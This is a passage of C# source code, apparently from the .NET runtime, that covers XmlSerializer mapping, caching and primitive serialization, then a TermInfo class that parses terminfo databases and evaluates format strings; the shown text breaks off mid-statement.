file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.FromMappings"]/*' /> /// <devdoc> /// <para>[To be supplied.]</para> /// </devdoc> public static XmlSerializer[] FromMappings(XmlMapping[] mappings) { return FromMappings(mappings, (Type)null); } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.FromMappings1"]/*' /> /// <devdoc> /// <para>[To be supplied.]</para> /// </devdoc> public static XmlSerializer[] FromMappings(XmlMapping[] mappings, Type type) { if (mappings == null || mappings.Length == 0) return Array.Empty<XmlSerializer>(); #if FEATURE_SERIALIZATION_UAPAOT XmlSerializer[] serializers = GetReflectionBasedSerializers(mappings, type); return serializers; #else bool anySoapMapping = false; foreach (var mapping in mappings) { if (mapping.IsSoap) { anySoapMapping = true; } } if ((anySoapMapping && ReflectionMethodEnabled) || Mode == SerializationMode.ReflectionOnly) { XmlSerializer[] serializers = GetReflectionBasedSerializers(mappings, type); return serializers; } XmlSerializerImplementation contract = null; Assembly assembly = type == null ? null : TempAssembly.LoadGeneratedAssembly(type, null, out contract); TempAssembly tempAssembly = null; if (assembly == null) { if (Mode == SerializationMode.PreGenOnly) { AssemblyName name = type.Assembly.GetName(); string serializerName = Compiler.GetTempAssemblyName(name, null); throw new FileLoadException(SR.Format(SR.FailLoadAssemblyUnderPregenMode, serializerName)); } if (XmlMapping.IsShallow(mappings)) { return Array.Empty<XmlSerializer>(); } else { if (type == null) { tempAssembly = new TempAssembly(mappings, new Type[] { type }, null, null); XmlSerializer[] serializers = new XmlSerializer[mappings.Length]; contract = tempAssembly.Contract; for (int i = 0; i < serializers.Length; i++) { serializers[i] = (XmlSerializer)contract.TypedSerializers[mappings[i].Key]; serializers[i].SetTempAssembly(tempAssembly, mappings[i]); } return serializers; } else { // Use XmlSerializer cache when the type is not null. return GetSerializersFromCache(mappings, type); } } } else { XmlSerializer[] serializers = new XmlSerializer[mappings.Length]; for (int i = 0; i < serializers.Length; i++) serializers[i] = (XmlSerializer)contract.TypedSerializers[mappings[i].Key]; return serializers; } #endif } private static XmlSerializer[] GetReflectionBasedSerializers(XmlMapping[] mappings, Type type) { var serializers = new XmlSerializer[mappings.Length]; for (int i = 0; i < serializers.Length; i++) { serializers[i] = new XmlSerializer(); serializers[i]._rootType = type; serializers[i]._mapping = mappings[i]; serializers[i]._isReflectionBasedSerializer = true; } return serializers; } #if !FEATURE_SERIALIZATION_UAPAOT internal static bool GenerateSerializer(Type[] types, XmlMapping[] mappings, Stream stream) { if (types == null || types.Length == 0) return false; if (mappings == null) throw new ArgumentNullException(nameof(mappings)); if (stream == null) throw new ArgumentNullException(nameof(stream)); if (XmlMapping.IsShallow(mappings)) { throw new InvalidOperationException(SR.Format(SR.XmlMelformMapping)); } Assembly assembly = null; for (int i = 0; i < types.Length; i++) { Type type = types[i]; if (DynamicAssemblies.IsTypeDynamic(type)) { throw new InvalidOperationException(SR.Format(SR.XmlPregenTypeDynamic, type.FullName)); } if (assembly == null) { assembly = type.Assembly; } else if (type.Assembly != assembly) { throw new ArgumentException(SR.Format(SR.XmlPregenOrphanType, type.FullName, assembly.Location), nameof(types)); } } return TempAssembly.GenerateSerializerToStream(mappings, types, null, assembly, new Hashtable(), stream); } #endif private static XmlSerializer[] GetSerializersFromCache(XmlMapping[] mappings, Type type) { XmlSerializer[] serializers = new XmlSerializer[mappings.Length]; Dictionary<XmlSerializerMappingKey, XmlSerializer> typedMappingTable = null; lock (s_xmlSerializerTable) { if (!s_xmlSerializerTable.TryGetValue(type, out typedMappingTable)) { typedMappingTable = new Dictionary<XmlSerializerMappingKey, XmlSerializer>(); s_xmlSerializerTable[type] = typedMappingTable; } } lock (typedMappingTable) { var pendingKeys = new Dictionary<XmlSerializerMappingKey, int>(); for (int i = 0; i < mappings.Length; i++) { XmlSerializerMappingKey mappingKey = new XmlSerializerMappingKey(mappings[i]); if (!typedMappingTable.TryGetValue(mappingKey, out serializers[i])) { pendingKeys.Add(mappingKey, i); } } if (pendingKeys.Count > 0) { XmlMapping[] pendingMappings = new XmlMapping[pendingKeys.Count]; int index = 0; foreach (XmlSerializerMappingKey mappingKey in pendingKeys.Keys) { pendingMappings[index++] = mappingKey.Mapping; } TempAssembly tempAssembly = new TempAssembly(pendingMappings, new Type[] { type }, null, null); XmlSerializerImplementation contract = tempAssembly.Contract; foreach (XmlSerializerMappingKey mappingKey in pendingKeys.Keys) { index = pendingKeys[mappingKey]; serializers[index] = (XmlSerializer)contract.TypedSerializers[mappingKey.Mapping.Key]; serializers[index].SetTempAssembly(tempAssembly, mappingKey.Mapping); typedMappingTable[mappingKey] = serializers[index]; } } } return serializers; } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.FromTypes"]/*' /> /// <devdoc> /// <para>[To be supplied.]</para> /// </devdoc> public static XmlSerializer[] FromTypes(Type[] types) { if (types == null) return Array.Empty<XmlSerializer>(); #if FEATURE_SERIALIZATION_UAPAOT var serializers = new XmlSerializer[types.Length]; for (int i = 0; i < types.Length; i++) { serializers[i] = new XmlSerializer(types[i]); } return serializers; #else XmlReflectionImporter importer = new XmlReflectionImporter(); XmlTypeMapping[] mappings = new XmlTypeMapping[types.Length]; for (int i = 0; i < types.Length; i++) { mappings[i] = importer.ImportTypeMapping(types[i]); } return FromMappings(mappings); #endif } #if FEATURE_SERIALIZATION_UAPAOT // this the global XML serializer contract introduced for multi-file private static XmlSerializerImplementation xmlSerializerContract; internal static XmlSerializerImplementation GetXmlSerializerContractFromGeneratedAssembly() { // hack to pull in SetXmlSerializerContract which is only referenced from the // code injected by MainMethodInjector transform // there's probably also a way to do this via [DependencyReductionRoot], // but I can't get the compiler to find that... if (xmlSerializerContract == null) SetXmlSerializerContract(null); // this method body used to be rewritten by an IL transform // with the restructuring for multi-file, it has become a regular method return xmlSerializerContract; } public static void SetXmlSerializerContract(XmlSerializerImplementation xmlSerializerImplementation) { xmlSerializerContract = xmlSerializerImplementation; } #endif /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.GetXmlSerializerAssemblyName"]/*' /> /// <devdoc> /// <para>[To be supplied.]</para> /// </devdoc> public static string GetXmlSerializerAssemblyName(Type type) { return GetXmlSerializerAssemblyName(type, null); } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.GetXmlSerializerAssemblyName"]/*' /> /// <devdoc> /// <para>[To be supplied.]</para> /// </devdoc> public static string GetXmlSerializerAssemblyName(Type type, string defaultNamespace) { if (type == null) { throw new ArgumentNullException(nameof(type)); } return Compiler.GetTempAssemblyName(type.Assembly.GetName(), defaultNamespace); } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.UnknownNode"]/*' /> /// <devdoc> /// <para>[To be supplied.]</para> /// </devdoc> public event XmlNodeEventHandler UnknownNode { add { _events.OnUnknownNode += value; } remove { _events.OnUnknownNode -= value; } } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.UnknownAttribute"]/*' /> /// <devdoc> /// <para>[To be supplied.]</para> /// </devdoc> public event XmlAttributeEventHandler UnknownAttribute { add { _events.OnUnknownAttribute += value; } remove { _events.OnUnknownAttribute -= value; } } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.UnknownElement"]/*' /> public event XmlElementEventHandler UnknownElement { add { _events.OnUnknownElement += value; } remove { _events.OnUnknownElement -= value; } } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.UnreferencedObject"]/*' /> public event UnreferencedObjectEventHandler UnreferencedObject { add { _events.OnUnreferencedObject += value; } remove { _events.OnUnreferencedObject -= value; } } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.CreateReader"]/*' /> ///<internalonly/> protected virtual XmlSerializationReader CreateReader() { throw new NotImplementedException(); } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.Deserialize4"]/*' /> ///<internalonly/> protected virtual object Deserialize(XmlSerializationReader reader) { throw new NotImplementedException(); } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.CreateWriter"]/*' /> ///<internalonly/> protected virtual XmlSerializationWriter CreateWriter() { throw new NotImplementedException(); } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.Serialize7"]/*' /> ///<internalonly/> protected virtual void Serialize(object o, XmlSerializationWriter writer) { throw new NotImplementedException(); } internal void SetTempAssembly(TempAssembly tempAssembly, XmlMapping mapping) { _tempAssembly = tempAssembly; _mapping = mapping; _typedSerializer = true; } private static XmlTypeMapping GetKnownMapping(Type type, string ns) { if (ns != null && ns != string.Empty) return null; TypeDesc typeDesc = (TypeDesc)TypeScope.PrimtiveTypes[type]; if (typeDesc == null) return null; ElementAccessor element = new ElementAccessor(); element.Name = typeDesc.DataType.Name; XmlTypeMapping mapping = new XmlTypeMapping(null, element); mapping.SetKeyInternal(XmlMapping.GenerateKey(type, null, null)); return mapping; } private void SerializePrimitive(XmlWriter xmlWriter, object o, XmlSerializerNamespaces namespaces) { XmlSerializationPrimitiveWriter writer = new XmlSerializationPrimitiveWriter(); writer.Init(xmlWriter, namespaces, null, null, null); switch (_primitiveType.GetTypeCode()) { case TypeCode.String: writer.Write_string(o); break; case TypeCode.Int32: writer.Write_int(o); break; case TypeCode.Boolean: writer.Write_boolean(o); break; case TypeCode.Int16: writer.Write_short(o); break; case TypeCode.Int64: writer.Write_long(o); break; case TypeCode.Single: writer.Write_float(o); break; case TypeCode.Double: writer.Write_double(o); break; case TypeCode.Decimal: writer.Write_decimal(o); break; case TypeCode.DateTime: writer.Write_dateTime(o); break; case TypeCode.Char: writer.Write_char(o); break; case TypeCode.Byte: writer.Write_unsignedByte(o); break; case TypeCode.SByte: writer.Write_byte(o); break; case TypeCode.UInt16: writer.Write_unsignedShort(o); break; case TypeCode.UInt32: writer.Write_unsignedInt(o); break; case TypeCode.UInt64: writer.Write_unsignedLong(o); break; default: if (_primitiveType == typeof(XmlQualifiedName)) { writer.Write_QName(o); } else if (_primitiveType == typeof(byte[])) { writer.Write_base64Binary(o); } else if (_primitiveType == typeof(Guid)) { writer.Write_guid(o); } else if (_primitiveType == typeof(TimeSpan)) { writer.Write_TimeSpan(o); } else { throw new InvalidOperationException(SR.Format(SR.XmlUnxpectedType, _primitiveType.FullName)); } break; } } private object DeserializePrimitive(XmlReader xmlReader, XmlDeserializationEvents events) { XmlSerializationPrimitiveReader reader = new XmlSerializationPrimitiveReader(); reader.Init(xmlReader, events, null, null); object o; switch (_primitiveType.GetTypeCode()) { case TypeCode.String: o = reader.Read_string(); break; case TypeCode.Int32: o = reader.Read_int(); break; case TypeCode.Boolean: o = reader.Read_boolean(); break; case TypeCode.Int16: o = reader.Read_short(); break; case TypeCode.Int64: o = reader.Read_long(); break; case TypeCode.Single: o = reader.Read_float(); break; case TypeCode.Double: o = reader.Read_double(); break; case TypeCode.Decimal: o = reader.Read_decimal(); break; case TypeCode.DateTime: o = reader.Read_dateTime(); break; case TypeCode.Char: o = reader.Read_char(); break; case TypeCode.Byte: o = reader.Read_unsignedByte(); break; case TypeCode.SByte: o = reader.Read_byte(); break; case TypeCode.UInt16: o = reader.Read_unsignedShort(); break; case TypeCode.UInt32: o = reader.Read_unsignedInt(); break; case TypeCode.UInt64: o = reader.Read_unsignedLong(); break; default: if (_primitiveType == typeof(XmlQualifiedName)) { o = reader.Read_QName(); } else if (_primitiveType == typeof(byte[])) { o = reader.Read_base64Binary(); } else if (_primitiveType == typeof(Guid)) { o = reader.Read_guid(); } else if (_primitiveType == typeof(TimeSpan)) { o = reader.Read_TimeSpan(); } else { throw new InvalidOperationException(SR.Format(SR.XmlUnxpectedType, _primitiveType.FullName)); } break; } return o; } private class XmlSerializerMappingKey { public XmlMapping Mapping; public XmlSerializerMappingKey(XmlMapping mapping) { this.Mapping = mapping; } public override bool Equals(object obj) { XmlSerializerMappingKey other = obj as XmlSerializerMappingKey; if (other == null) return false; if (this.Mapping.Key != other.Mapping.Key) return false; if (this.Mapping.ElementName != other.Mapping.ElementName) return false; if (this.Mapping.Namespace != other.Mapping.Namespace) return false; if (this.Mapping.IsSoap != other.Mapping.IsSoap) return false; return true; } public override int GetHashCode() { int hashCode = this.Mapping.IsSoap ? 0 : 1; if (this.Mapping.Key != null) hashCode ^= this.Mapping.Key.GetHashCode(); if (this.Mapping.ElementName != null) hashCode ^= this.Mapping.ElementName.GetHashCode(); if (this.Mapping.Namespace != null) hashCode ^= this.Mapping.Namespace.GetHashCode(); return hashCode; } } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Text; using Microsoft.Win32.SafeHandles; namespace System { /// <summary>Provides access to and processing of a terminfo database.</summary> internal static class TermInfo { internal enum WellKnownNumbers { Columns = 0, Lines = 2, MaxColors = 13, } internal enum WellKnownStrings { Bell = 1, Clear = 5, CursorAddress = 10, CursorLeft = 14, CursorPositionReport = 294, OrigPairs = 297, OrigColors = 298, SetAnsiForeground = 359, SetAnsiBackground = 360, CursorInvisible = 13, CursorVisible = 16, FromStatusLine = 47, ToStatusLine = 135, KeyBackspace = 55, KeyClear = 57, KeyDelete = 59, KeyDown = 61, KeyF1 = 66, KeyF10 = 67, KeyF2 = 68, KeyF3 = 69, KeyF4 = 70, KeyF5 = 71, KeyF6 = 72, KeyF7 = 73, KeyF8 = 74, KeyF9 = 75, KeyHome = 76, KeyInsert = 77, KeyLeft = 79, KeyPageDown = 81, KeyPageUp = 82, KeyRight = 83, KeyScrollForward = 84, KeyScrollReverse = 85, KeyUp = 87, KeypadXmit = 89, KeyBackTab = 148, KeyBegin = 158, KeyEnd = 164, KeyEnter = 165, KeyHelp = 168, KeyPrint = 176, KeySBegin = 186, KeySDelete = 191, KeySelect = 193, KeySHelp = 198, KeySHome = 199, KeySLeft = 201, KeySPrint = 207, KeySRight = 210, KeyF11 = 216, KeyF12 = 217, KeyF13 = 218, KeyF14 = 219, KeyF15 = 220, KeyF16 = 221, KeyF17 = 222, KeyF18 = 223, KeyF19 = 224, KeyF20 = 225, KeyF21 = 226, KeyF22 = 227, KeyF23 = 228, KeyF24 = 229, } /// <summary>Provides a terminfo database.</summary> internal sealed class Database { /// <summary>The name of the terminfo file.</summary> private readonly string _term; /// <summary>Raw data of the database instance.</summary> private readonly byte[] _data; /// <summary>The number of bytes in the names section of the database.</summary> private readonly int _nameSectionNumBytes; /// <summary>The number of bytes in the Booleans section of the database.</summary> private readonly int _boolSectionNumBytes; /// <summary>The number of shorts in the numbers section of the database.</summary> private readonly int _numberSectionNumShorts; /// <summary>The number of offsets in the strings section of the database.</summary> private readonly int _stringSectionNumOffsets; /// <summary>The number of bytes in the strings table of the database.</summary> private readonly int _stringTableNumBytes; /// <summary>Extended / user-defined entries in the terminfo database.</summary> private readonly Dictionary<string, string> _extendedStrings; /// <summary>Initializes the database instance.</summary> /// <param name="term">The name of the terminal.</param> /// <param name="data">The data from the terminfo file.</param> private Database(string term, byte[] data) { _term = term; _data = data; // See "man term" for the file format. if (ReadInt16(data, 0) != 0x11A) // magic number octal 0432 { throw new InvalidOperationException(SR.IO_TermInfoInvalid); } _nameSectionNumBytes = ReadInt16(data, 2); _boolSectionNumBytes = ReadInt16(data, 4); _numberSectionNumShorts = ReadInt16(data, 6); _stringSectionNumOffsets = ReadInt16(data, 8); _stringTableNumBytes = ReadInt16(data, 10); if (_nameSectionNumBytes < 0 || _boolSectionNumBytes < 0 || _numberSectionNumShorts < 0 || _stringSectionNumOffsets < 0 || _stringTableNumBytes < 0) { throw new InvalidOperationException(SR.IO_TermInfoInvalid); } // In addition to the main section of bools, numbers, and strings, there is also // an "extended" section. This section contains additional entries that don't // have well-known indices, and are instead named mappings. As such, we parse // all of this data now rather than on each request, as the mapping is fairly complicated. // This function relies on the data stored above, so it's the last thing we run. // (Note that the extended section also includes other Booleans and numbers, but we don't // have any need for those now, so we don't parse them.) int extendedBeginning = RoundUpToEven(StringsTableOffset + _stringTableNumBytes); _extendedStrings = ParseExtendedStrings(data, extendedBeginning) ?? new Dictionary<string, string>(); } /// <summary>The name of the associated terminfo, if any.</summary> public string Term { get { return _term; } } /// <summary>Read the database for the current terminal as specified by the "TERM" environment variable.</summary> /// <returns>The database, or null if it could not be found.</returns> internal static Database ReadActiveDatabase() { string term = Environment.GetEnvironmentVariable("TERM"); return !string.IsNullOrEmpty(term) ? ReadDatabase(term) : null; } /// <summary> /// The default locations in which to search for terminfo databases. /// This is the ordering of well-known locations used by ncurses. /// </summary> private static readonly string[] _terminfoLocations = new string[] { "/etc/terminfo", "/lib/terminfo", "/usr/share/terminfo", }; /// <summary>Read the database for the specified terminal.</summary> /// <param name="term">The identifier for the terminal.</param> /// <returns>The database, or null if it could not be found.</returns> private static Database ReadDatabase(string term) { // This follows the same search order as prescribed by ncurses. Database db; // First try a location specified in the TERMINFO environment variable. string terminfo = Environment.GetEnvironmentVariable("TERMINFO"); if (!string.IsNullOrWhiteSpace(terminfo) && (db = ReadDatabase(term, terminfo)) != null) { return db; } // Then try in the user's home directory. string home = PersistedFiles.GetHomeDirectory(); if (!string.IsNullOrWhiteSpace(home) && (db = ReadDatabase(term, home + "/.terminfo")) != null) { return db; } // Then try a set of well-known locations. foreach (string terminfoLocation in _terminfoLocations) { if ((db = ReadDatabase(term, terminfoLocation)) != null) { return db; } } // Couldn't find one return null; } /// <summary>Attempt to open as readonly the specified file path.</summary> /// <param name="filePath">The path to the file to open.</param> /// <param name="fd">If successful, the opened file descriptor; otherwise, -1.</param> /// <returns>true if the file was successfully opened; otherwise, false.</returns> private static bool TryOpen(string filePath, out SafeFileHandle fd) { fd = Interop.Sys.Open(filePath, Interop.Sys.OpenFlags.O_RDONLY | Interop.Sys.OpenFlags.O_CLOEXEC, 0); if (fd.IsInvalid) { // Don't throw in this case, as we'll be polling multiple locations looking for the file. fd = null; return false; } return true; } /// <summary>Read the database for the specified terminal from the specified directory.</summary> /// <param name="term">The identifier for the terminal.</param> /// <param name="directoryPath">The path to the directory containing terminfo database files.</param> /// <returns>The database, or null if it could not be found.</returns> private static Database ReadDatabase(string term, string directoryPath) { if (string.IsNullOrEmpty(term) || string.IsNullOrEmpty(directoryPath)) { return null; } SafeFileHandle fd; if (!TryOpen(directoryPath + "/" + term[0].ToString() + "/" + term, out fd) && // /directory/termFirstLetter/term (Linux) !TryOpen(directoryPath + "/" + ((int)term[0]).ToString("X") + "/" + term, out fd)) // /directory/termFirstLetterAsHex/term (Mac) { return null; } using (fd) { // Read in all of the terminfo data long termInfoLength = Interop.CheckIo(Interop.Sys.LSeek(fd, 0, Interop.Sys.SeekWhence.SEEK_END)); // jump to the end to get the file length Interop.CheckIo(Interop.Sys.LSeek(fd, 0, Interop.Sys.SeekWhence.SEEK_SET)); // reset back to beginning const int MaxTermInfoLength = 4096; // according to the term and tic man pages, 4096 is the terminfo file size max const int HeaderLength = 12; if (termInfoLength <= HeaderLength || termInfoLength > MaxTermInfoLength) { throw new InvalidOperationException(SR.IO_TermInfoInvalid); } int fileLen = (int)termInfoLength; byte[] data = new byte[fileLen]; if (ConsolePal.Read(fd, data, 0, fileLen) != fileLen) { throw new InvalidOperationException(SR.IO_TermInfoInvalid); } // Create the database from the data return new Database(term, data); } } /// <summary>The offset into data where the names section begins.</summary> private const int NamesOffset = 12; // comes right after the header, which is always 12 bytes /// <summary>The offset into data where the Booleans section begins.</summary> private int BooleansOffset { get { return NamesOffset + _nameSectionNumBytes; } } // after the names section /// <summary>The offset into data where the numbers section begins.</summary> private int NumbersOffset { get { return RoundUpToEven(BooleansOffset + _boolSectionNumBytes); } } // after the Booleans section, at an even position /// <summary> /// The offset into data where the string offsets section begins. We index into this section /// to find the location within the strings table where a string value exists. /// </summary> private int StringOffsetsOffset { get { return NumbersOffset + (_numberSectionNumShorts * 2); } } /// <summary>The offset into data where the string table exists.</summary> private int StringsTableOffset { get { return StringOffsetsOffset + (_stringSectionNumOffsets * 2); } } /// <summary>Gets a string from the strings section by the string's well-known index.</summary> /// <param name="stringTableIndex">The index of the string to find.</param> /// <returns>The string if it's in the database; otherwise, null.</returns> public string GetString(WellKnownStrings stringTableIndex) { int index = (int)stringTableIndex; Debug.Assert(index >= 0); if (index >= _stringSectionNumOffsets) { // Some terminfo files may not contain enough entries to actually // have the requested one. return null; } int tableIndex = ReadInt16(_data, StringOffsetsOffset + (index * 2)); if (tableIndex == -1) { // Some terminfo files may have enough entries, but may not actually // have it filled in for this particular string. return null; } return ReadString(_data, StringsTableOffset + tableIndex); } /// <summary>Gets a string from the extended strings section.</summary> /// <param name="name">The name of the string as contained in the extended names section.</param> /// <returns>The string if it's in the database; otherwise, null.</returns> public string GetExtendedString(string name) { Debug.Assert(name != null); string value; return _extendedStrings.TryGetValue(name, out value) ? value : null; } /// <summary>Gets a number from the numbers section by the number's well-known index.</summary> /// <param name="numberIndex">The index of the string to find.</param> /// <returns>The number if it's in the database; otherwise, -1.</returns> public int GetNumber(WellKnownNumbers numberIndex) { int index = (int)numberIndex; Debug.Assert(index >= 0); if (index >= _numberSectionNumShorts) { // Some terminfo files may not contain enough entries to actually // have the requested one. return -1; } return ReadInt16(_data, NumbersOffset + (index * 2)); } /// <summary>Parses the extended string information from the terminfo data.</summary> /// <returns> /// A dictionary of the name to value mapping. As this section of the terminfo isn't as well /// defined as the earlier portions, and may not even exist, the parsing is more lenient about /// errors, returning an empty collection rather than throwing. /// </returns> private static Dictionary<string, string> ParseExtendedStrings(byte[] data, int extendedBeginning) { const int ExtendedHeaderSize = 10; if (extendedBeginning + ExtendedHeaderSize >= data.Length) { // Exit out as there's no extended information. return null; } // Read in extended counts, and exit out if we got any incorrect info int extendedBoolCount = ReadInt16(data, extendedBeginning); int extendedNumberCount = ReadInt16(data, extendedBeginning + 2); int extendedStringCount = ReadInt16(data, extendedBeginning + 4); int extendedStringNumOffsets = ReadInt16(data, extendedBeginning + 6); int extendedStringTableByteSize = ReadInt16(data, extendedBeginning + 8); if (extendedBoolCount < 0 || extendedNumberCount < 0 || extendedStringCount < 0 || extendedStringNumOffsets < 0 || extendedStringTableByteSize < 0) { // The extended header contained invalid data. Bail. return null; } // Skip over the extended bools. We don't need them now and can add this in later // if needed. Also skip over extended numbers, for the same reason. // Get the location where the extended string offsets begin. These point into // the extended string table. int extendedOffsetsStart = extendedBeginning + // go past the normal data ExtendedHeaderSize + // and past the extended header RoundUpToEven(extendedBoolCount) + // and past all of the extended Booleans (extendedNumberCount * 2); // and past all of the extended numbers // Get the location where the extended string table begins. This area contains // null-terminated strings. int extendedStringTableStart = extendedOffsetsStart + (extendedStringCount * 2) + // and past all of the string offsets ((extendedBoolCount + extendedNumberCount + extendedStringCount) * 2); // and past all of the name offsets // Get the location where the extended string table ends. We shouldn't read past this. int extendedStringTableEnd = extendedStringTableStart + extendedStringTableByteSize; if (extendedStringTableEnd > data.Length) { // We don't have enough data to parse everything. Bail. return null; } // Now we need to parse all of the extended string values. These aren't necessarily // "in order", meaning the offsets aren't guaranteed to be increasing. Instead, we parse // the offsets in order, pulling out each string it references and storing them into our // results list in the order of the offsets. var values = new List<string>(extendedStringCount); int lastEnd = 0; for (int i = 0; i < extendedStringCount; i++) { int offset = extendedStringTableStart + ReadInt16(data, extendedOffsetsStart + (i * 2)); if (offset < 0 || offset >= data.Length) { // If the offset is invalid, bail. return null; } // Add the string int end = FindNullTerminator(data, offset); values.Add(Encoding.ASCII.GetString(data, offset, end - offset)); // Keep track of where the last string ends. The name strings will come after that. lastEnd = Math.Max(end, lastEnd); } // Now parse all of the names. var names = new List<string>(extendedBoolCount + extendedNumberCount + extendedStringCount); for (int pos = lastEnd + 1; pos < extendedStringTableEnd; pos++) { int end = FindNullTerminator(data, pos); names.Add(Encoding.ASCII.GetString(data, pos, end - pos)); pos = end; } // The names are in order for the Booleans, then the numbers, and then the strings. // Skip over the bools and numbers, and associate the names with the values. var extendedStrings = new Dictionary<string, string>(extendedStringCount); for (int iName = extendedBoolCount + extendedNumberCount, iValue = 0; iName < names.Count && iValue < values.Count; iName++, iValue++) { extendedStrings.Add(names[iName], values[iValue]); } return extendedStrings; } private static int RoundUpToEven(int i) { return i % 2 == 1 ? i + 1 : i; } /// <summary>Read a 16-bit value from the buffer starting at the specified position.</summary> /// <param name="buffer">The buffer from which to read.</param> /// <param name="pos">The position at which to read.</param> /// <returns>The 16-bit value read.</returns> private static short ReadInt16(byte[] buffer, int pos) { return unchecked((short) ((((int)buffer[pos + 1]) << 8) | ((int)buffer[pos] & 0xff))); } /// <summary>Reads a string from the buffer starting at the specified position.</summary> /// <param name="buffer">The buffer from which to read.</param> /// <param name="pos">The position at which to read.</param> /// <returns>The string read from the specified position.</returns> private static string ReadString(byte[] buffer, int pos) { int end = FindNullTerminator(buffer, pos); return Encoding.ASCII.GetString(buffer, pos, end - pos); } /// <summary>Finds the null-terminator for a string that begins at the specified position.</summary> private static int FindNullTerminator(byte[] buffer, int pos) { int termPos = pos; while (termPos < buffer.Length && buffer[termPos] != '\0') termPos++; return termPos; } } /// <summary>Provides support for evaluating parameterized terminfo database format strings.</summary> internal static class ParameterizedStrings { /// <summary>A cached stack to use to avoid allocating a new stack object for every evaluation.</summary> [ThreadStatic] private static Stack<FormatParam> t_cachedStack; /// <summary>A cached array of arguments to use to avoid allocating a new array object for every evaluation.</summary> [ThreadStatic] private static FormatParam[] t_cachedOneElementArgsArray; /// <summary>A cached array of arguments to use to avoid allocating a new array object for every evaluation.</summary> [ThreadStatic] private static FormatParam[] t_cachedTwoElementArgsArray; /// <summary>Evaluates a terminfo formatting string, using the supplied argument.</summary> /// <param name="format">The format string.</param> /// <param name="arg">The argument to the format string.</param> /// <returns>The formatted string.</returns> public static string Evaluate(string format, FormatParam arg) { FormatParam[] args = t_cachedOneElementArgsArray; if (args == null) { t_cachedOneElementArgsArray = args = new FormatParam[1]; } args[0] = arg; return Evaluate(format, args); } /// <summary>Evaluates a terminfo formatting string, using the supplied arguments.</summary> /// <param name="format">The format string.</param> /// <param name="arg1">The first argument to the format string.</param> /// <param name="arg2">The second argument to the format string.</param> /// <returns>The formatted string.</returns> public static string Evaluate(string format, FormatParam arg1, FormatParam arg2) { FormatParam[] args = t_cachedTwoElementArgsArray; if (args == null) { t_cachedTwoElementArgsArray = args = new FormatParam[2]; } args[0] = arg1; args[1] = arg2; return Evaluate(format, args); } /// <summary>Evaluates a terminfo formatting string, using the supplied arguments.</summary> /// <param name="format">The format string.</param> /// <param name="args">The arguments to the format string.</param> /// <returns>The formatted string.</returns> public static string Evaluate(string format, params FormatParam[] args) { if (format == null) { throw new ArgumentNullException(nameof(format)); } if (args == null) { throw new ArgumentNullException(nameof(args)); } // Initialize the stack to use for processing. Stack<FormatParam> stack = t_cachedStack; if (stack == null) { t_cachedStack = stack = new Stack<FormatParam>(); } else { stack.Clear(); } // "dynamic" and "static" variables are much less often used (the "dynamic" and "static" // terminology appears to just refer to two different collections rather than to any semantic // meaning). As such, we'll only initialize them if we really need them. FormatParam[] dynamicVars = null, staticVars = null; int pos = 0; return EvaluateInternal(format, ref pos, args, stack, ref dynamicVars, ref staticVars); // EvaluateInternal may throw IndexOutOfRangeException and InvalidOperationException // if the format string is malformed or if it's inconsistent with the parameters provided. } /// <summary>Evaluates a terminfo formatting string, using the supplied arguments and processing data structures.</summary> /// <param name="format">The format string.</param> /// <param name="pos">The position in <paramref name="format"/> to start processing.</param> /// <param name="args">The arguments to the format string.</param> /// <param name="stack">The stack to use as the format string is evaluated.</param> /// <param name="dynamicVars">A lazily-initialized collection of variables.</param> /// <param name="staticVars">A lazily-initialized collection of variables.</param> /// <returns> /// The formatted string; this may be empty if the evaluation didn't yield any output. /// The evaluation stack will have a 1 at the top if all processing was completed at invoked level /// of recursion, and a 0 at the top if we're still inside of a conditional that requires more processing. /// </returns> private static string EvaluateInternal( string format, ref int pos, FormatParam[] args, Stack<FormatParam> stack, ref FormatParam[] dynamicVars, ref FormatParam[] staticVars) { // Create a StringBuilder to store the output of this processing. We use the format's length as an // approximation of an upper-bound for how large the output will be, though with parameter processing, // this is just an estimate, sometimes way over, sometimes under. StringBuilder output = StringBuilderCache.Acquire(format.Length); // Format strings support conditionals, including the equivalent of "if ... then ..." and // "if ... then ... else ...", as well as "if ... then ... else ... then ..." // and so on, where an else clause can not only be evaluated for string output but also // as a conditional used to determine whether to evaluate a subsequent then clause. // We use recursion to process these subsequent parts, and we track whether we're processing // at the same level of the initial if clause (or whether we're nested). bool sawIfConditional = false; // Process each character in the format string, starting from the position passed in. for (; pos < format.Length; pos++) { // '%' is the escape character for a special sequence to be evaluated. // Anything else just gets pushed to output. if (format[pos] != '%') { output.Append(format[pos]); continue; } // We have a special parameter sequence to process. Now we need // to look at what comes after the '%'. ++pos; switch (format[pos]) { // Output appending operations case '%': // Output the escaped '%' output.Append('%'); break; case 'c': // Pop the stack and output it as a char output.Append((char)stack.Pop().Int32); break; case 's': // Pop the stack and output it as a string output.Append(stack.Pop().String); break; case 'd': // Pop the stack and output it as an integer output.Append(stack.Pop().Int32); break; case 'o': case 'X': case 'x': case ':': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': // printf strings of the format "%[[:]flags][width[.precision]][doxXs]" are allowed // (with a ':' used in front of flags to help differentiate from binary operations, as flags can // include '-' and '+'). While above we've special-cased common usage (e.g. %d, %s), // for more complicated expressions we delegate to printf. int printfEnd = pos; for (; printfEnd < format.Length; printfEnd++) // find the end of the printf format string { char ec = format[printfEnd]; if (ec == 'd' || ec == 'o' || ec == 'x' || ec == 'X' || ec == 's') { break; } } if (printfEnd >= 